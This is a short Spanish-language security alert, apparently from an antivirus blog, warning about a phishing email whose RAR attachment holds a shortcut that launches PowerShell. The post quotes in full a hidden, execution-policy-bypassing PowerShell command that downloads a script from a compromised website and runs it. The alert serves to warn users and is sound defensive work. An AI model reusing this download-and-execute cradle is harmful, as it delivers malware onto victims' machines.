Y NUEVO METODO EMPLEADO ANEXANDO FICHERO RAR QUE CONTIENE UN ACCESO DIRECTO, EN MAIL SIMILAR AL DE LA ULTIMA NOTICIA PUBLICADA

Se trata de un mail similar al de la noticia anterior, pero anexando esta vez un RAR,

“shipping documents with details.RAR”

que contiene un fichero malicioso que ejecuta el PowerShell, total este informe:>

Así que mucho cuidado tambien con el RAR anexado a estos mails que lanzan el PowerShell con el siguiente contenido:

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -NoPr -WINd 1 -eXEc ByP $wcli = ((New-Object System.Net.WebClient)).DownloadString(‘http://“web hackeada”.com/wp-admin/js/jyjl.ps1′);IEX $wcli

En su contenido vemos que acceden a una web, en este caso de ropa de primeras marcas, que sin duda deben haber hackeado, y desde la que ejecutan el fichero jyjl.ps1

total ofrece el siguiente informe>

Es la primera vez que nos encontramos con un RAR que contiene un acceso directo que ejecuta una instrucción sita en una web hackeada, usando el PowerShell …

En cualquier caso sigue siendo válida nuestra máxima:

COMO YA VAMOS INDICANDO REPETIDAMENTE, NO SE DEBEN EJECUTAR NI FICHEROS NI ENLACES NI IMAGENES QUE NO SE HAYAN SOLICITADO, AUNQUE SE CONOZCA EL REMITENTE O VENGAN DE ALGUNA ENTIDAD CONOCIDA, Y MENOS ENVIAR DATOS QUE PUDIERAN SOLICITAR !!!

saludos

ms, 5-11-2018